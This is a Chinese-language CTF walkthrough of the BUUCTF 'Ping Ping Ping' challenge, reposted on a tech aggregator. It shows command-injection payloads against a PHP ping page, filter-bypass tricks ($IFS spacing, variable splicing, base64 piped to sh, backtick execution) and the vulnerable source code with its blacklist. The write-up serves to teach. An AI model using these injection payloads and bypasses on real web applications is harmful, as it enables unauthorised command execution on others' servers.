IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> BUUCTF [GXYCTF2019]Ping Ping Ping 1 -> 正文阅读

[系统运维]BUUCTF [GXYCTF2019]Ping Ping Ping 1

[GXYCTF2019]Ping Ping Ping 1

在本题我们考察的是命令执行

已进入本关,我们发现他在询问 ?ip

我们先尝试输入

?ip=127.0.0.1

发现访问成功

查询一下它的目录:

?ip=127.0.0.1|ls

发现有两个文件夹flag.php,index.php,发现 flag 我们尝试访问 flag。

?ip=127.0.0.1|cat flag.php

点击查询,页面回显 fxck your space
很明显我们需要进行一个空格的过滤

空格过滤常见绕过注释:

< > %20(space), %09(tab), $IFS$1

输入之后

?ip=127.0.0.1|cat<flag.php

发现:
在这里插入图片描述

可以知道,在本题它还过滤了 符号

所以我们换一种 空格的过滤方法:


?ip=127.0.0.1|cat$IFS$1flag.php

在这里插入图片描述

坏了,它把flag都给过滤了,已经没有什么好的办法了,只能先尝试访问一下前面的 index.php

?ip=127.0.0.1|cat$IFS$1index.php

在这里插入图片描述

访问源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…

什么是bash:

要想了解bash,就要先知道什么是shell:
首先,shell是一个程序,提供用户与电脑对话的环境(环境唯一:命令提示符又称为命令提示符)。shell可以接收到用户输入的命>令,将命令送入操作系统进行执行,并发布会结果。
再着,shell也可以作为一个命令解释器,就是我们常说的脚本。它支持变量,条件判断,循环操作等语法,所以我们可以用shell来>写出各种小程序(脚本)
而bash就是shell的脚本类型之一(还有sh csh tcsh 等),bash是目前最常用的shell。进入命令环境以后,一般就打开了bash了 我>们可以使用bash命令来构造shell来查找flag,本关虽然黑掉了bash 但我们还有 sh 用!!! 哈皮
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip)

if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

shell_exec(string $cmd): string

exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符

ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出

之后输出<pre>(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单

构造:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看页面源代码,发现flag。
在这里插入图片描述
当然这里还有别的办法例如借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

还有一种大佬操作,是我查询博客才了解的

内联执行 (真·大佬操作,小弟只有膜拜的份儿)

ip=127.0.0.1;cat$IFS$9`ls`

? 注:内联,就是将反引号内命令的输出作为输入执行。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-03-12 18:00:11  更:2022-03-12 18:02:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 1:37:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码